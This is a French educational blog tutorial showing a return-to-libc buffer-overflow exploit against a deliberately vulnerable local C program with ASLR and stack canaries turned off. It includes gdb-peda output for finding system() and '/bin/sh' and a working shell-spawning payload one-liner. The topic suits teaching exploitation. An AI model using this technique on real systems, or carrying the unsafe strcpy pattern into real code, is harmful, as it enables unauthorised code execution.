Buffer overflow : return to libc (ret2libc)

Buffer overflow : return to libc (ret2libc)

Nous allons de nouveau nous pencher sur l'exploitation d'un buffer overflow mais cette fois ci, nous corserons un tantinet les choses : le bit NX sera activé. Il s'agit d'une protection privant certaines zones mémoires, dont la pile, du droit d'exécution. On peut donc dire au revoir à notre shellcode (snif :'( ) car on ne pourra plus l'exécuter, cependant nous allons ruser et utiliser une autre technique nous permettant d'arriver à nos fins : obtenir un shell. Cette technique porte le doux nom de « return to libc » qu'on abrège souvent par « ret2libc ».

Cette chère libc

La libc, c'est la bibliothèque standard du C. Grosso modo, c'est elle qui contient les fonctions que vous utilisez couramment en langage C telles que printf, scanf ou encore strcpy (vade retro satanas !). Eh bien, une attaque « return to libc » consiste à écraser l'adresse de retour pour la renvoyer sur une fonction de la bibliothèque standard du C, qui se doit d'être exécutable, et parmi toutes ces fonctions, une va nous être particulièrement utile : system() ! Si nous sautons sur cette fonction et que nous lui passons les paramètres nécessaires à son bon fonctionnement, elle fera son boulot sans broncher et nous aurons notre shell ! :D

Lors d'un call à la fonction system(), celle-ci a besoin de deux arguments : une adresse de retour qui servira une fois qu'elle sera terminée et surtout la commande qu'elle doit exécuter.

Le payload va ressembler à ce schéma.

+-------------+  |
|     EIP     |  |   <-- Adresse de la fonction system()
+-------------+  |
|   Adresse   |  | 
|  de retour  |  |   <-- Adresse de retour
+-------------+  |
|  Commande   |  |   <-- Commande à exécuter (souvent /bin/sh)
+-------------+ \ /

Pour l'argument de l'adresse de retour, on peut mettre n'importe quoi mais cela provoquera probablement un crash du programme après l'exécution de la fonction system(). On essaye donc par habitude d'y indiquer l'adresse de la fonction exit() afin de quitter « proprement » mais ça n'est pas une obligation.

Exploitation

Reprenons le programme que nous avions utilisé pour l'exemple précédent.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void name(char*);

void name(char *f)
{
    char firstname[10];

    strcpy(firstname, f);

    printf("Votre prenom est %s\n", firstname);
}

int main(int argc, char *argv[])
{
    if(argc != 2)
    {
        exit(0);
    }

    name(argv[1]);

    return 0;
}

Enlevons la randomisation des adresses.

# echo 0 > /proc/sys/kernel/randomize_va_space

Ensuite, compilons en enlevant toujours la protection du canary avec l'option -fno-stack-protector mais précisons cette fois-ci que la pile ne doit pas être exécutable. Ma version de gcc le fait par défaut si je ne précise pas l'argument mais vous pouvez forcer cette protection en précisant l'option -z noexecstack.

$ gcc -m32 -fno-stack-protector -z noexecstack bypassnx.c -o bypassnx

Pour vérifier que la pile n'est pas exécutable, nous pouvons lancer cette commande.

$ readelf -l ./bypassnx | grep "STACK"
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10

On remarque que l'avant-dernière colonne contient un flag R pour « READ », W pour « WRITE » mais pas de flag E (pour « EXECUTE »).

Pour l'exploitation nous avons besoin de connaître deux choses :

  • l'adresse de la fonction system()
  • l'adresse de la chaîne représentant la commande à exécuter

La première se trouve assez facilement avec gdb. Il suffit de placer un breakpoint, lancer le programme (ce qui chargera la librairie en mémoire) et de demander son adresse.

$ gdb -q ./bypassnx
Reading symbols from ./bypassnx...(no debugging symbols found)...done.
gdb-peda$ b *main
Breakpoint 1 at 0x8048489
gdb-peda$ r AAAA
Starting program: bypassnx AAAA
[----------------------------------registers-----------------------------------]
EAX: 0x2 
EBX: 0xf7fa8000 --> 0x1a8da8 
ECX: 0x5aa19f9d 
EDX: 0xffffd7f4 --> 0xf7fa8000 --> 0x1a8da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd7cc --> 0xf7e18a63 (<__libc_start_main+243>:        mov    DWORD PTR [esp],eax)
EIP: 0x8048489 (<main>: lea    ecx,[esp+0x4])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048484 <name+41>: add    esp,0x10
   0x8048487 <name+44>: leave  
   0x8048488 <name+45>: ret    
=> 0x8048489 <main>:    lea    ecx,[esp+0x4]
   0x804848d <main+4>:  and    esp,0xfffffff0
   0x8048490 <main+7>:  push   DWORD PTR [ecx-0x4]
   0x8048493 <main+10>: push   ebp
   0x8048494 <main+11>: mov    ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xffffd7cc --> 0xf7e18a63 (<__libc_start_main+243>:       mov    DWORD PTR [esp],eax)
0004| 0xffffd7d0 --> 0x2 
0008| 0xffffd7d4 --> 0xffffd864 --> 0xffffd9f1 ("./bypassnx")
0012| 0xffffd7d8 --> 0xffffd870 --> 0xffffda19 ("LANGUAGE=fr_BE:fr")
0016| 0xffffd7dc --> 0xf7feb79a (add    ebx,0x11866)
0020| 0xffffd7e0 --> 0x2 
0024| 0xffffd7e4 --> 0xffffd864 --> 0xffffd9f1 ("./bypassnx")
0028| 0xffffd7e8 --> 0xffffd804 --> 0x661a7b8d 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048489 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e3d3e0 <system>
gdb-peda$

Eh voilà ! Notre fonction system() se trouve à l'adresse 0xf7e3d3e0.

Il ne nous reste plus que l'adresse de notre commande, dans notre cas « /bin/sh ». Pour ça, il y a plusieurs manières de faire : en plaçant la commande dans une variable d'environnement, en cherchant dans la mémoire du programme afin de voir si la chaîne s'y trouve etc.

La seconde option est assez rapide avec gdb + peda, il nous suffit d'entrer cette commande (le breakpoint placé auparavant est toujours actif).

gdb-peda$ searchmem "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f5e771 ("/bin/sh")

Voilà, nous avons toute les informations pour mener à bien cette exploitation ! :)

./bypassnx $(python -c 'print "A"*22 + "\xe0\xd3\xe3\xf7" + "HACK" + "\x71\xe7\xf5\xf7"')
Votre prenom est AAAAAAAAAAAAAAAAAAAAAA����HACKq���
$ 

C'est pour qui le beau shell, c'est pour qui ? :D

Lorsque vous quitterez, le shell, vous obtiendrez une erreur de segmentation car le programme essayera de retourner à l'adresse « HACK ». Ce n'est pas spécialement un problème en soi mais si le programme fait un dump en cas de crash, ça peut être un peu embêtant pour la discrétion. Pour ne pas obtenir d'erreur, il faut remplacer « HACK » par l'adresse de la fonction exit(), ce qui permettra de quitter le programme de manière « propre ».

Conclusion

Nous venons d'aborder une des protections mises en place contre les buffer overflow et comme nous avons pu le constater, en faisant preuve ingéniosité, il est possible de contourner ces protections.

Facebook button Twitter button Google button

Laissez un commentaire

Votre adresse email ne sera pas publiée. Les champs marqués d'une * sont obligatoires.